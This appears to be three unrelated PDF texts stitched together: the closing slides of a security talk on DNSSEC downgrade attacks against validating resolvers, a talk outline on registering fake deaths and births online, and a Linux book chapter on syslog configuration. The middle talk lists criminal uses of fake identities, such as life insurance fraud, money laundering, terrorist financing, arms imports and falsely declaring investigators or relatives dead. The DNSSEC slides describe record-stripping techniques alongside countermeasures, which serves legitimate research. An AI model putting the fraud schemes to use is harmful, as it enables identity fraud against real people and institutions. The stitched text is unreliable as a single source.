➢ one stronger digest, one weaker
➢ both supported by the resolver
➢ one DNSKEY in victim zone matching both DS digests
Assumption
➢ attacker can break the weaker digest
Note
➢ as outlined in RFC 4509 for SHA-1/SHA-256 (1 and 2)
#BHUSA @BlackHatEvents
Information Classification: General
Downgrade to Weaker DS Digest
bank.ing
DNSKEY: bank.ing
8
A: ns.bank.ing
6.6.6.6
ing
DNSKEY: ing
8
8
DS: bank.ing
1 → 8 2 → 8
Procedure
➢ attacker forges DNSKEY for the weaker algorithm
➢ replaces authentic DNSKEY and all its signatures
➢ spoofs target data
Observations
➢ stronger digest does not match the DNSKEY
➢ path via DS with stronger digest becomes invalid
Will the resolver fall back to the validation path via the
weaker DS record?
8
#BHUSA @BlackHatEvents
Information Classification: General
Downgrade to Weaker DS Digest
Many Vulnerable Resolvers
Lab
➢ only PowerDNS enforces strongest possible DS
➢ BIND9 and Knot Resolver enforce stronger-than-SHA1 DS
Popular Open Resolvers
➢ only Google and CZ.NIC enforce stronger-than-SHA1 DS
Fallback to
Open Resolvers
Lab
Popular
Any weaker DS
93%
8/9
8/8
SHA-1 DS
24%
6/9
6/8
#BHUSA @BlackHatEvents
Information Classification: General
Downgrade to Weaker Signature
#BHUSA @BlackHatEvents
Information Classification: General
Downgrade to Weaker Signature
Preconditions
➢ zone signed with two algorithms
➢ one weaker, one stronger
➢ both supported by the resolver
➢ e.g. typical zone migrating to a new algorithm
Assumption
➢ attacker can forge zone data for the weaker one
bank.ing
DNSKEY: bank.ing
5
13
A: ns.bank.ing
1.2.3.4
13
5
#BHUSA @BlackHatEvents
Information Classification: General
Downgrade to Weaker Signature
Procedure
➢ attacker just places spoofed zone data in the DNS
response
Observations
➢ Signatures of the stronger key become invalid.
➢ optional attacker measure: strip them off
Will the resolver accept the weaker signatures, even if
stronger ones should be present and valid?
bank.ing
5
13
A: ns.bank.ing
6.6.6.6
5
DNSKEY: bank.ing
X
#BHUSA @BlackHatEvents
Information Classification: General
Downgrade to Weaker Signature
RFC 5702 on Algorithm Presence (DS → DNSKEY → RRSIGS on all zone data)
“Since each RRSet MUST be signed with each algorithm present in the
DNSKEY RRSet at the zone apex (see Section 2.2 of [RFC4035]), a
malicious party cannot filter out the RSA/SHA-2 RRSIG and force the
validator to use the RSA/SHA-1 signature if both are present in the
zone. This should provide resilience against algorithm downgrade
attacks, if the validator supports RSA/SHA-2.”
So… We are secure?
#BHUSA @BlackHatEvents
Information Classification: General
Downgrade to Weaker Signature
Affected Resolvers
➢ Turns out… all investigated resolvers fall back to weaker RRSIGS.
➢ even to SHA-1-based ones
RFC 6840 on Algorithm Presence (DS → DNSKEY → RRSIGS on all zone data)
“This requirement applies to servers, not validators. Validators
SHOULD accept any single valid path.
They SHOULD NOT insist that all
algorithms signaled in the DS RRset work, and they MUST NOT insist
that all algorithms signaled in the DNSKEY RRset work.”
➢ facilitates algorithm updates of very large zones
➢ but bites us back while we are getting rid of SHA-1. Bad Luck
#BHUSA @BlackHatEvents
Information Classification: General
Review: Attacks to Weaken DNSSEC
Countermeasures against Downgrading to Weaker DS
➢ require the strongest present DS digest to be used for construction of the validation path
➢ especially if the weaker one is SHA-1
Countermeasures against Downgrading to Weaker Signature
➢ we can essentially just hope zones migrate away fast enough
➢ insisting on RRSIGs of the strongest algorithm from DNSKEY risks disconnecting secure domains
➢ against attacker who cannot strip off records
➢ insist that the strongest present algorithm signatures work
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
➢ DNS(SEC) Refresher
➢ DNSSEC Downgrade Attacks
➢ Attacks to Weaken Security
➢ Attacks to Break Security
➢ Recommendations
#BHUSA @BlackHatEvents
Information Classification: General
Attacks to Break Security
Motivation
➢ breaking a “weaker” algorithm is still quite a bar to jump
➢ even SHA-1 is not quite there, yet
DNSSEC Downgrade Attacks to Break Security
➢ we found ways around breaking crypto
➢ in effect, roughly comparable to Downgrade to NULL / SSL Stripping
➢ exploit the validation logic that assigns security states to DNS data
#BHUSA @BlackHatEvents
Information Classification: General
DNS Record Security States
Secure
➢ The full chain of trust is proven to be authentic.
➢ response to client carries records in question and the RRSIG(s) covering them
➢ AD message flag set, but effectively ignored by most clients
Bogus
➢ no valid chain of trust could be constructed, e.g. because
➢ signatures failed to validate
➢ DNSSEC records missing
➢ SERVFAIL error response to client
#BHUSA @BlackHatEvents
Information Classification: General
DNS Record Security States
Indeterminate
➢ not too relevant here
➢ assigned to infrastructure data during referrals (NS and A of NS)
➢ or in case of missing trust anchors (weird PKI entry)
Insecure
➢ provably not secured in a way the resolver can validate
➢ e.g. by authenticated proof that no DS record exists at some point in the DNS hierarchy
➢ authenticated DS records with unsupported digest types or signature algorithms “do not exist”
➢ response to client carries records in question, without AD flag
The next attacks trick the resolver into marking records Insecure.
#BHUSA @BlackHatEvents
Information Classification: General
Rewriting RRSIG Algorithm Numbers
#BHUSA @BlackHatEvents
Information Classification: General
Rewriting RRSIG Algorithm Numbers
Preconditions
➢ just any properly protected DNSSEC zone
➢ we tested for single-algorithm zones
bank.ing
DNSKEY: bank.ing
13
A: ns.bank.ing
1.2.3.4
13
#BHUSA @BlackHatEvents
Information Classification: General
Rewriting RRSIG Algorithm Numbers
Procedure
➢ attacker rewrites signature algorithm number
➢ to one the resolver does not support
Note
➢ chain of trust broken at the last link
Vulnerable Resolvers
➢ Google Public DNS
➢ reported and fixed
bank.ing
DNSKEY: bank.ing
13
A: ns.bank.ing
6.6.6.6
16
#BHUSA @BlackHatEvents
Information Classification: General
Downgrade via Complex Chain of Trust
➢ Let’s see what can go wrong when things get experimental.
Situation
➢ a zone operator adds a freshly standardized algorithm
➢ which is not supported by many resolvers yet
➢ or uses a private algorithm in addition to a non-private one
#BHUSA @BlackHatEvents
Information Classification: General
Stripping off Supported RRSIGs
#BHUSA @BlackHatEvents
Information Classification: General
Stripping Off Supported RRSIGs
Preconditions
➢ the zone is signed with two different algorithms
➢ one supported by the resolver
➢ one unsupported (here: 15)
➢ DS records at the parent at least for the supported
one
Note
➢ DNSKEYs of both algorithms and their RRSIGs are
present
bank.ing
DNSKEY: bank.ing
8
15
A: ns.bank.ing
1.2.3.4
15
8
#BHUSA @BlackHatEvents
Information Classification: General
Stripping Off Supported RRSIGs
bank.ing
DNSKEY: bank.ing
8
15
A: ns.bank.ing
6.6.6.6
15
Procedure
➢ the attacker drops the supported RRSIG records
➢ from DNS messages to the resolver
➢ leaving only unsupported algorithms
Note
➢ The RRSIG of Algorithm 8 should be present.
X
#BHUSA @BlackHatEvents
Information Classification: General
Stripping Off Supported RRSIGs
Vulnerable Resolvers
➢ none of the resolvers in our lab
➢ 2 Popular Resolver Services: Cloudflare and Google
92.14%
7.86%
Vulnerable Open Resolvers
Unsusceptible
Vulnerable
#BHUSA @BlackHatEvents
Information Classification: General
Stripping off Supported DNSKEYs
#BHUSA @BlackHatEvents
Information Classification: General
Stripping off Supported DNSKEYs
bank.ing
8
15
A: ns.bank.ing
1.2.3.4
ing
DNSKEY: ing
8
8
DS: bank.ing
2 → 8 2 → 15
15
8
Preconditions
➢ zone is signed with two different algorithms
➢ one supported by the resolver
➢ one unsupported (here: 15)
➢ (at least) one DNSKEY for each
➢ DS records for both at the parent
Note
➢ DNSKEYs of both algorithms and their RRSIGs are prsent
DNSKEY: bank.ing
#BHUSA @BlackHatEvents
Information Classification: General
Stripping off Supported DNSKEYs
bank.ing
DNSKEY: bank.ing
X
15
A: ns.bank.ing
6.6.6.6
ing
DNSKEY: ing
8
8
DS: bank.ing
2 → 8 2 → 15
15
X
Procedure
➢ the attacker drops the supported DNSKEY
➢ and all its signatures
➢ from any DNS messages to the resolver
➢ leaving only unsupported algorithms
Note
➢ DNSKEY for algorithm 8 should be present
➢ RRSIGs for algorithm 8 should be present
➢ stripping off the signatures not strictly necessary
#BHUSA @BlackHatEvents
Information Classification: General
Stripping off Supported DNSKEYs
Vulnerable Resolvers
➢ 1 Popular Open Resolver (OpenDNS)
➢ Windows Server Recursive DNS (all tested versions)
94.02%
5.58%
Vulnerable Open Resolvers
Unsusceptible
Vulnerable
#BHUSA @BlackHatEvents
Information Classification: General
Review: Attacks to Break Security
Countermeasures
➢ when considering algorithms, resolvers should decide “insecure” solely based on the DS records
➢ insist on presence of a least one supported algorithm according to specification
supported DS → supported DNSKEY → supported RRSIGs on all zone data
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
➢ DNS(SEC) Refresher
➢ DNSSEC Downgrade Attacks
➢ Attacks to Weaken Security
➢ Attacks to Break Security
➢ Recommendations
#BHUSA @BlackHatEvents
Information Classification: General
Recommendations
Resolver Operators and Developers
➢ require strongest present DS digest to work for validation
➢ only consider DS records for deciding to mark data insecure because of unsupported algorithms
Zone Operators
➢ move away from SHA-1 ASAP
➢ adding additional signatures of stronger algorithms does not increase security
➢ can even level security, if those are not supported by vulnerable resolvers
#BHUSA @BlackHatEvents
Information Classification: General
Thank you for your attention!
Contact: [email protected] | pdf |
Chris Rock
I WILL KILL YOU
& BIRTH YOU
How to kill someone and
bury the body yourself
without a shovel
&
How to make Babies and
then Harvest them
Chris Rock
[email protected]
Why research DEATH
Death Process behind the curtain
Globally
U.S. Certificate of Death
Details about the
Dead Person
Medical Practitioner
Cause of Death
Funeral
Director
IDIOTS GUIDE for Doctors
AUS Medical Certificate Cause of Death Online
US Register a Death online – EDRS
Electronic Death Registration System
US EDRS Registration
Is my Doctor real or fake?
New Zealand https://www.mcnz.org.nz/support-for-doctors/list-of-registered-doctors
Australia https://www.ahpra.gov.au
USA: California
http://www.mbc.ca.gov/Breeze/License_Verification.aspx
United Kingdom http://www.gmc-uk.org/doctors/register/LRMP.asp
USA: California
Australia
EDRS Online – U.S.A
Dr G Medical Examiner
“Coroner”
Death Process
When I grow up I want to be a Funeral Director
Getting rid of the Body
Fun Director – Australia Online Application
Online Application Success
Register LOTS of Deaths
Register your Death
Funeral Director Online - EDRS
Becoming a Funeral Director -UK
Becoming a Funeral Director -USA
California & Colorado
Nevada: $375 + Exam
IDIOTS GUIDE for Fun Directors
Death Process
Wills and Probate
DIY WILL KIT
DIY PROBATE PETITION
Reasons for killing someone
Hinder
•
Kill off your investigating detectives. Subpoena and indictments cant be issued by a dead person. Dead people
find it difficult to travel.
•
Kill your opposing lawyer, the judge or IRS audit officer to slow them down
Financial - $$$$$
•
Kill yourself. Enjoy your Life Insurance whilst your alive. No more sinking your boat at sea, or hiding out
in Mexico. Start with a new Identification.
•
Kill your elderly parents to get their estate. They just wont die quick enough.
Revenge
•
Revenge on your ex-wife/girlfriend/partner. They will be dead and not even know it.
•
Your boss is a asshole. As their Executor shut down their bank accounts, drivers license, phone
plan, cable and utilities
The Law isn’t written for the Dead
returning
New York Times: DEAD MAN WALKING (OHIO) 2013
“Legally dead dad must stay that way even if he's
technically alive”
Donald Miller was declared dead in 1994 after he
skipped out on his ex-wife, two daughters and massive
child support payments. He was declared dead after
missing for five years.
Now the living 61-year-old wants to resurrect his legal
status, but a judge says he's too late. Ohio law sets a
three-year window to challenge a decision in a
declaration of death.
The Judge said ‘Even though you’re sitting here in my courtroom, I see you, you’re alive, you seem to be in
good health, the law restricts me from reversing the prior finding of death”
Putting it all together
Who’s your Daddy - Rebirth
Birth Registration Process
Paper based Birth Registration Process
Birth Registration Process
Canada https://www.orgforms.gov.on.ca/IBR/scr03_Instructions.do
Australia: https://www.qld.gov.au/law/births-deaths-marriages-and-divorces (Vic - Health Collect)
/birth-registration-and-adoption-records/register-a-birth/
USA http://www.azdhs.gov/vital-records/register-birth/home-birth.htm
Online Birth Registration Process
Online Birth Registration - USA
New Identity vs Identity Theft
Eden-Paladin Press
Why make a Virtual baby
•
Government benefits / tax concessions
• A spare identity ? Be like a cat and have 9 lives
“A Do Over”: Have you been Bankrupt
Have a Criminal Record
Really screw up
Being Sued
A Virtual Identity to commit crimes (Life Insurance
fraud, money laundering, Drug/Firearms
importation
The Shelf Company
Shelf Company
A Shelf company takes the shell company one step further.
•
It Pays Taxes
•
Files annual returns
•
Appears to have employees
•
Build up a credit rating and sit on the shelf for decades.
•
Builds up financial heuristics to set a normal baseline
Why do this?
So they can borrow funds, finance terrorists activity and launder
money without raising RED FLAGS
Shell Company
A Shell company is an entity that appears only on paper. Used
to protect the owners identity.
The Shell/Shelf Baby
Shell Baby
A Shell baby is an entity that appears only on paper “birth certificate”. Can be
used for immediate gain government benefits or a clean SSN.
Shelf Baby
The Shelf baby is shell baby that has been put on the shelf and has reached
adulthood. This Shelf Baby now a Virtual will have
•
A drivers license
•
Bank loans and credit cards
•
Pay taxes
•
Life insurance polices
Ultimately be harvested, ‘killed off’ at investment maturity. They will be a
vehicle for money laundering.
Benefits of the Shelf Baby
This combination of legitimate paperwork, financial history makes this individual very powerful. Each of these
Virtuals can do the following
Borrow millions of dollars for property, personal loans or credit cards
“Do Over” Identification for a life screw up. Criminal/Bankruptcy – A spare Life ID.
Life insurance policies for death benefits without killing off yourself or elderly parents.
Be the head of company or Shelf company with so you cant be touched. “Prevent the piecing of the veil” Asset
protection for people suing you.
Buy highly leveraged derivatives without fear of loss. If the trade pays off fantastic, if not, the virtual can be
killed off for the life insurance or bankrupted and put on the shelf for 3-7 years as defective stock (harder to
get finance) and sold as a discount.
Obtain Firearms or Import Drugs and Firearms with a Virtual Identity
Anonymity
IP / Location = TOR / VPN / Anonymity box
Payments = Bitcoin
Company = Shell/Shelf
Identity = A VIRTUAL
If any of the technical mechanisms above fail, like for Ross Ulbricht as an example, why not have the last
guy holding the gun…………non existent
Death and Birth – Vulnerabilities Overview
Anyone with this knowledge can kill another person or
group of people “mass murder” on paper as it stands
for revenge, kicks or profit. This affects hundreds of
millions of people.
This is a Global Problem – U.S, Canada, Australia, New
Zealand and Europe.
“You could be dead right now and not even know it”
Death and Birth - Vulnerabilities
•
Going from a paper based system to Online facility for Medical Doctors with a DIY portal
(ERDS) or no portal (Australia) makes Death Registration for hackers easy world wide.
•
Using public details such as Registration/Licence Numbers as the “No one knows identifier”
allows fake birth/registration by legitimate doctors.
•
Basic or no licensing for Funeral Directors allows anyone to be a Funeral Director for
abuse.
•
DIY portal or automated response for Funeral Directors allows hackers to be a fake
funeral director or a real Funeral director to complete the Death Registration process
Doctor / Midwife
Funeral Director
Why is it Swiss Cheese – The Government
•
The Government want accurate, centralised birth and death records. There have been records
lost due to fire damage or floods in some states. No one can read doctors handwriting.
The Government
•
Struggling to ensure that babies registered and put into the system. The government want to
make birth registration as simple as possible to give children a chance to work, pay taxes and on
the system. 2.5% of babies in 2012 in Victoria were not registered.
•
The Government have historically used the premise that for the death and burial of a person
required two or three professional industries, the Medical, Coroner and Funeral Director. To
dispose of a body improperly would require collusion between all parties.
•
Moving from paper based system to online system with industries that’s always been paper based
without security portal controls | pdf |
Building
SECURE SERVERS
with
LINUX
TOOLS & BEST PRACTICES FOR BASTION HOSTS
MICHAEL D. BAUER
Building
SECURESERVERS
with
LINUX
Michael D. Bauer
Beijing • Cambridge • Farnham • Köln • Paris • Sebastopol • Taipei • Tokyo
TITLE Page iii Wednesday, October 16, 2002 6:14 PM
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
323
Chapter 10
CHAPTER 10
System Log
Management and
Monitoring
Whatever else you do to secure a Linux system, it must have comprehensive, accu-
rate, and carefully watched logs. Logs serve several purposes. First, they help us trou-
bleshoot virtually all kinds of system and application problems. Second, they provide
valuable early-warning signs of system abuse. Third, after all else fails (whether that
means a system crash or a system compromise), logs can provide us with crucial
forensic data.
This chapter is about making sure your system processes and critical applications log
the events and states you’re interested in and dealing with this data once it’s been
logged. The two logging tools we’ll cover are syslog and the more powerful Syslog-ng
(“syslog new generation”). In the monitoring arena, we’ll discuss Swatch (the Simple
Watcher), a powerful Perl script that monitors logs in real time and takes action on
specified events.
syslog
syslog is the tried-and-true workhorse of Unix logging utilities. It accepts log data
from the kernel (by way of klogd), from any and all local process, and even from pro-
cesses on remote systems. It’s flexible as well, allowing you to determine what gets
logged and where it gets logged to.
A preconfigured syslog installation is part of the base operating system in virtually all
variants of Unix and Linux. However, relatively few system administrators custom-
ize it to log the things that are important for their environment and disregard the
things that aren’t. Since, as few would dispute, information overload is one of the
major challenges of system administration, this is unfortunate. Therefore, we begin
this chapter with a comprehensive discussion of how to customize and use syslog.
Configuring syslog
Whenever syslogd, the syslog daemon, receives a log message, it acts based on the
message’s type (or “facility”) and its priority. syslog’s mapping of actions to facilities
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
324
|
Chapter 10: System Log Management and Monitoring
and priorities is specified in /etc/syslog.conf. Each line in this file specifies one or
more facility/priority selectors followed by an action; a selector consists of a facility
or facilities and a (single) priority.
In the following syslog.conf line in Example 10-1, mail.notice is the selector and /var/
log/mail is the action (i.e., “write messages to /var/log/mail”).
Within the selector, mail is the facility (message category) and notice is the level of
priority.
Facilities
Facilities are simply categories. Supported facilities in Linux are auth, auth-priv, cron,
daemon, kern, lpr, mail, mark, news, syslog, user, uucp, and local0 through local7.
Some of these are self-explanatory, but the following are of special note:
What About klogd?
One daemon you probably won’t need to reconfigure but should still be aware of is
klogd, Linux’s kernel log daemon. This daemon is started automatically at boot time
by the same script that starts the general system logger (probably /etc/init.d/syslogd or
/etc/init.d/sysklogd, depending on which Linux distribution you use).
By default, klogd directs log messages from the kernel to the system logger, which is
why most people don’t need to worry about klogd: you can control the handling of ker-
nel messages by editing the configuration file for syslogd.
This is also true if you use Syslog-ng instead of syslog, but since Syslog-ng accepts mes-
sages from a much wider variety of sources, including /proc/kmsg (which is where klogd
receives its messages), some Syslog-ng users prefer to disable klogd. Don’t do so your-
self unless you first configure Syslog-ng to use /proc/kmsg as a source.
klogd can be invoked as a standalone logger; that is, it can send kernel messages
directly to consoles or a log file. In addition, if it isn’t already running as a daemon,
klogd can be used to dump the contents of the kernel log buffers (i.e., the most recent
kernel messages) to a file or to the screen. These applications of klogd are especially
useful to kernel developers.
For most of us, it’s enough to know that for normal system operations, klogd can be
safely left alone (that is, left with default settings and startup options—not disabled).
Just remember that when you use syslog in Linux, all kernel messages are handled by
klogd first.
Example 10-1. Sample syslog.conf line
mail.notice /var/log/mail
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
syslog
|
325
auth
Used for many security events.
auth-priv
Used for access-control-related messages.
daemon
Used by system processes and other daemons.
kern
Used for kernel messages.
mark
Messages generated by syslogd itself, which contain only a timestamp and the
string --MARK--; to specify how many minutes should transpire between marks,
invoke syslogd with the -m [minutes] flag.
user
The default facility when none is specified by an application or in a selector.
ocal7
Boot messages.
*
Wildcard signifying “any facility.”
none
Wildcard signifying “no facility.”
Priorities
Unlike facilities, which have no relationship to each other, priorities are hierarchical.
Possible priorities in Linux are (in increasing order of urgency): debug, info, notice,
warning, err, crit, alert, and emerg. Note that the “urgency” of a given message is
determined by the programmer who wrote it; facility and priority are set by the pro-
grams that generate messages, not by syslog.
As with facilities, the wildcards * and none may also be used. Only one priority or
wildcard may be specified per selector. A priority may be preceded by either or both
of the modifiers, = and !.
If you specify a single priority in a selector (without modifiers), you’re actually speci-
fying that priority plus all higher priorities. Thus the selector mail.notice translates
to “all mail-related messages having a priority of notice or higher,” i.e., having a pri-
ority of notice, warning, err, crit, alert, or emerg.
You can specify a single priority by prefixing a = to it. The selector mail.=notice
translates to “all mail-related messages having a priority of notice.” Priorities may
also be negated: mail.!notice is equivalent to “all mail messages except those with
priority of noticeor higher,” and mail.!=notice corresponds to “all mail messages
except those with the priority notice.”
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
326
|
Chapter 10: System Log Management and Monitoring
Actions
In practice, most log messages are written to files. If you list the full path to a file-
name as a line’s action in syslog.conf, messages that match that line will be appended
to that file. (If the file doesn’t exist, syslog will create it.) In Example 10-1, we
instructed syslog to send matched messages to the file /var/log/mail.
You can send messages other places too. An action can be a file, a named pipe, a
device file, a remote host, or a user’s screen. Pipes are usually used for debugging.
Device files that people use are usually TTYs. Some people also like to send security
information to /dev/lp0—i.e., to a local line printer. Logs that have been printed out
can’t be erased or altered by an intruder, but they also are subject to mechanical
problems (paper jams, ink depletion, etc.) and are harder to parse if you need to find
something in a hurry.
Remote logging is one of the most useful features of syslog. If you specify a host-
name or IP address preceded by an @ sign as a line’s action, messages that match
that line will be sent to UDP port 514 on that remote host. For example, the line:
*.emerg @mothership.mydomain.org
will send all messages with emerg priority to UDP port 514 on the host named
mothership.mydomain.org.
Note
that
the
remote
host’s
(in
this
example,
mothership’s) syslogd process will need to have been started with the -r flag for it to
accept your log messages. By default, syslogd does not accept messages from remote
systems.
syslog has no access-control mechanism of its own: if you enable the
reception of remote messages with the -r flag, your host will accept
messages on UDP port 514 from any and all remote computers. See
the end of this section for some advice on how to mitigate this.
If you run a central log server, which I highly recommend, you’ll want to consider
some sort of access controls on it for incoming messages. At the very least, you
should consider tcpwrappers’ “hosts access” (source-IP-based) controls or maybe
even local firewall rules (ipchains or iptables).
More sophisticated selectors
You can list multiple facilities separated by commas in a single syslog.conf selector.
To extend Example 10-1 to include both mail and uucp messages (still with priority
notice or higher), you could use this line (Example 10-2).
The same is not true of priorities. Remember that only one priority or priority wild-
card may be specified in a single selector.
Example 10-2. Multiple facilities in a single selector
mail,uucp.notice /var/log/mail
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
syslog
|
327
You may, however, specify multiple selectors separated by semicolons. When a line
contains multiple selectors, they’re evaluated from left to right: you should list gen-
eral selectors first, followed by more specific selectors. You can think of selectors as
filters: as a message is passed through the line from left to right, it passes first
through coarse filters and then through more granular ones.
Continuing our one-line example, suppose we still want important mail and uucp
messages to be logged to /var/log/mail, but we’d like to exclude uucp messages with
priority alert. Our line then looks like Example 10-3.
Stealth Logging
Lance Spitzner of the Honeynet Project (http://www.honeynet.org) suggests a trick
that’s useful for honey (decoy) nets and maybe even for production DMZs: “stealth
logging.” This trick allows a host connected to a hub or other shared medium to send
its log files to a non-IP-addressed system that sees and captures the log messages but
can’t be directly accessed over the network, making it much harder for an intruder on
your network to tamper with log files.
The idea is simple: suppose you specify a bogus IP address in a syslog.conf action (i.e.,
an IP address that is legitimate for your host’s LAN but isn’t actually used by any host
running syslogd). Since syslog messages are sent using the “connectionless” (one-way)
UDP protocol, the sending host doesn’t expect any reply when it sends a log message.
Furthermore, assuming your DMZ hosts are connected to a shared medium such as a
hub, any syslog messages sent over the network will be broadcast on the local LAN.
Therefore, it isn’t necessary for a central log server on that LAN to have an IP address:
the log server can passively “sniff” the log messages via snort, ethereal, or some other
packet sniffer.
Obviously, since an IP-addressless stealth logger won’t be accessible via your usual IP-
based remote administration tools, you’ll need console access to that host to view your
logs. Alternatively, you can add a second network interface to the stealth logger, con-
necting it to a dedicated management network or directly to your management work-
station via crossover cable.
In addition to configuring each DMZ host’s syslog.conf file to log to the bogus IP, you’ll
also need a bogus ARP entry added to the network startup script on each sending host.
If you don’t, each system will try in vain to learn the Ethernet address of the host with
that IP, and it won’t send any log packets.
For example, if you want a given host to pretend to send packets to the bogus IP 192.
168.192.168, then in addition to specifying @192.168.192.168 as the action on one or
more lines in /etc/syslog.conf, you’ll need to enter this command from a shell prompt:
arp -s 192.168.192.168 03:03:03:31:33:77
This is not necessary if you send log packets to a “normal” log host (e.g., if 192.168.
192.168 is the IP address of a host running syslogd with the -r flag.)
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
328
|
Chapter 10: System Log Management and Monitoring
Actually, syslogd’s behavior isn’t as predictable as this may imply: list-
ing selectors that contradict each other or that go from specific to gen-
eral rather than vice versa can yield unexpected results. Therefore, it’s
more accurate to say “for best results, list general selectors to the left
and their exceptions (and/or more-specific selectors) to the right.”
Wherever possible, keep things simple. You can use the logger com-
mand to test your syslog.conf rules (see “Testing System Logging with
logger” later in this chapter).
Note that in the second selector (uucp.!=alert), we used the prefix != before the pri-
ority to signify “not equal to.” If we wanted to exclude uucp messages with priority
alert and higher (i.e, alert and emerg), we could omit the = (see Example 10-4).
You might wonder what will happen to a uucp message of priority info: this matches
the second selector, so it should be logged to /var/log/mail, right? Not based on the
previous examples. Since the line’s first selector matches only mail and uucp mes-
sages of priority notice and higher, such a message wouldn’t be evaluated against the
second selector.
There’s nothing to stop you from having a different line for dealing with info-level
uucp messages, though. You can even have more than one line deal with these if you
like. Unlike a firewall rule base, each log message is tested against all lines in /etc/
syslog.conf and acted on as many times as it matches.
Suppose we want emergency messages broadcast to all logged-in users, as well as
written to their respective application logs. We could use something like
Example 10-5.
Example 10-3. Multiple selectors in a single line
mail,uucp.notice;uucp.!=alert /var/log/mail
Example 10-4. Selector list with a less specific exception
mail,uucp.notice;uucp.!alert /var/log/mail
Example 10-5. A sample syslog.conf file
# Sample syslog.conf file that sorts messages by mail, kernel, and "other,"
# and broadcasts emergencies to all logged-in users
# print most sys. events to tty10 and to the xconsole pipe, and emergencies to everyone
kern.warn;*.err;authpriv.none |/dev/xconsole
*.emerg *
# send mail, news (most), & kernel/firewall msgs to their respective logfiles
mail.* -/var/log/mail
kern.* -/var/log/kernel_n_firewall
# save the rest in one file
*.*;mail.none -/var/log/messages
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
syslog
|
329
Did you notice the - (minus) sign in front of the write-to-file actions? This tells
syslogd not to synchronize the specified log file after writing a message that matches
that line. Skipping synchronization decreases disk utilization and thus improves per-
formance, but it also increases the chances of introducing inconsistencies, such as
missing or incomplete log messages, into those files. Use the minus sign, therefore,
only in lines that you expect to result in numerous or frequent file writes.
Besides performance optimization, Example 10-5 also contains some useful redun-
dancy. Kernel warnings plus all messages of error-and-higher priority, except
authpriv messages, are printed to the X-console window. All messages having prior-
ity of emergency and higher are too, in addition to being written to the screens of all
logged-in users.
Furthermore, all mail messages and kernel messages are written to their respective
log files. All messages of all priorities (except mail messages of any priority) are writ-
ten to /var/log/messages.
Example 10-5 was adapted from the default syslog.conf that SuSE 7.1 put on one of
my systems. But why shouldn’t such a default syslog.conf file be fine the way it is?
Why change it at all?
Maybe you needn’t, but you probably should. In most cases, default syslog.conf files
either:
• Assign to important messages at least one action that won’t effectively bring
those messages to your attention (e.g., by sending messages to a TTY console on
a system you only access via SSH)
• Handle at least one type of message with too much or too little redundancy to
meet your needs
We’ll conclude our discussion of syslog.conf with Tables 10-1 through 10-4, which
summarize syslog.conf’s allowed facilities, priorities, and types of actions. Note that
numeric codes should not be used in syslog.conf on Linux systems. They are pro-
vided here strictly as a reference, should you need to configure a non-Linux syslog
daemon that uses numeric codes (e.g., Cisco IOS), or to send syslog messages to
your log server because they’re used internally (i.e., in raw syslog packets). You may
see them referred to elsewhere.
Table 10-1. syslog.conf’s allowed facilities
Facilities
Facility codes
auth
4
auth-priv
10
cron
9
daemon
3
kern
0
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
330
|
Chapter 10: System Log Management and Monitoring
lpr
6
mail
2
mark
N/A
news
7
syslog
5
user
1
uucp
8
local{0-7}
16-23
* (“any facility”)
N/A
Table 10-2. syslog.conf’s priorities
Priorities (in increasing order)
Priority codes
none
N/A
debug
7
info
6
notice
5
warning
4
err
3
crit
2
alert
1
emerg
0
* (“any priority”)
N/A
Table 10-3. Use of “!” and “=” as prefixes with priorities
Prefix
Description
*.notice (no prefix)
any event with priority of ‘notice’ or higher
*.!notice
no event with priority of ‘notice’ or higher
*.=notice
only events with priority ‘notice’
*.!=notice
no events with priority of ‘notice’
Table 10-4. Types of actions in syslog.conf
Action
Description
/some/file
Log to specified file
-/some/file
Log to specified file but don’t sync afterwards
/some/pipe
Log to specified pipe
/dev/some/tty_or_console
Log to specified console
@remote.hostname.or.IP
Log to specified remote host
Table 10-1. syslog.conf’s allowed facilities (continued)
Facilities
Facility codes
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
syslog
|
331
Running syslogd
Just as the default syslog.conf may or may not meet your needs, the default startup
mode of syslogd may need tweaking as well. Table 10-5 and subsequent paragraphs
touch on some syslogd startup flags that are particularly relevant to security. For a
complete list, you should refer to the manpage sysklogd (8).
In addition, note that when you’re changing and testing syslog’s configuration and
startup options, it usually makes sense to start and stop syslogd and klogd in tandem
(see the “What About klogd?” sidebar at the beginning of this chapter if you don’t
know what klogd is). Since it also makes sense to start and stop these the same way
your system does, I recommend that you use your system’s syslog/klogd startup
script.
On most Linux systems, both facilities are controlled by the same startup script,
named either /etc/init.d/syslog or /etc/init.d/sysklog (“sysklog” is shorthand for “sys-
log and klogd”). See Table 10-5 for a list of some of syslogd’s flags.
The first syslogd flag we’ll discuss is the only one used by default in Red Hat 7.x in its
/etc/init.d/syslog script. This flag is -m 0, which disables mark messages. mark mes-
sages contain only a timestamp and the string --MARK--, which some people find use-
ful for navigating lengthy log files. Others find them distracting and redundant, given
that each message has its own timestamp anyhow.
To turn mark messages on, specify a positive nonzero value after -m that tells syslogd
how many minutes should pass before it sends itself a mark message. Remember that
mark has its own facility (called, predictably, “mark”) and that you must specify at
least one selector that matches mark messages (such as mark.*, which matches all
messages sent to the mark facility, or *.*, which matches all messages in all facilities).
username1, username2, etc.
Log to these users’ screens
*
Log to all users’ screens
Table 10-5. Some useful syslogd flags
Flag
Description
-m minutes_btwn_marks
Minutes between “mark” messages (timestamp-only mes-
sages that, depending on your viewpoint, either clarify or
clutter logs. A value of 0 signifies “no marks”).
-a /additional/socket
Usedtospecifyadditionalsockets,besides/dev/log,onwhich
syslogd should listen for messages.
-f /path/to/syslog.conf
Used to provide the path/name of syslog.conf, if different
